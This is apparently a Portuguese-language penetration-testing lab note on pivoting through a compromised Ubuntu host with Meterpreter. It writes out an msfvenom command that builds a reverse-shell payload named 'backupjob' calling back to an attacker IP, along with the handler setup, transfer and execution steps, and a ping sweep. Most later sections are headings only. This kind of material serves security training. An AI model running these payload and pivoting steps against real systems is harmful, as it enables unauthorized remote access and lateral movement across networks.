Meterpreter Tunneling & Port Forwarding

Agora, vamos considerar um cenário em que temos nosso acesso ao shell Meterpreter no servidor Ubuntu (o host pivot), e queremos executar varreduras de enumeração por meio do host pivot, mas gostaríamos de aproveitar as conveniências que as sessões Meterpreter nos trazem. Nesses casos, ainda podemos criar um pivot com nossa sessão Meterpreter sem depender do encaminhamento de porta SSH. Podemos criar um shell Meterpreter para o servidor Ubuntu com o comando abaixo, que retornará um shell em nosso host de ataque na porta 8080.

  • Criando Payload para o Ubuntu Pivot Host

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080
  • Configurando e iniciando o multi/handler

msfconsole -q
use exploit/multi/handler
set lhost 0.0.0.0
set lport 8080
set payload linux/x64/meterpreter/reverse_tcp
run
  • Podemos copiar o backupjobarquivo binário para o host pivot do Ubuntu over SSHe executá-lo para obter uma sessão do Meterpreter.

scp backupscript ubuntu@<ipAddressofTarget>:~/
  • Executando a carga útil no host Pivot

chmod +x backupjob 
./backupjob
  • Precisamos ter certeza de que a sessão do Meterpreter foi estabelecida com sucesso ao executar a carga útil.

  • Varredura de ping

run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
  • Ping Sweep For Loop em hosts Linux Pivot

  • Varredura de ping para loop usando CMD

  • Varredura de ping usando PowerShell


Configurando o proxy SOCKS do MSF

  • Confirmando que o servidor proxy está em execução


Criando rotas com AutoRoute

  • Também é possível adicionar rotas com autoroute executando autoroute na sessão Meterpreter.

  • Listando rotas ativas com AutoRoute

  • Testando a funcionalidade de proxy e roteamento


Encaminhamento de porta

  • Opções de Portfwd

  • Criando um Relay TCP Local

  • Conectando ao Windows Target por meio do localhost

  • Saída Netstat


Meterpreter Reverso Port Forwarding

  • Regras de encaminhamento de porta reversa

  • Configurando e iniciando multi/handler

  • Gerando a carga útil do Windows

  • Por fim, se executarmos nossa carga útil no host Windows, poderemos receber um shell do Windows dinamizado por meio do servidor Ubuntu.

Last updated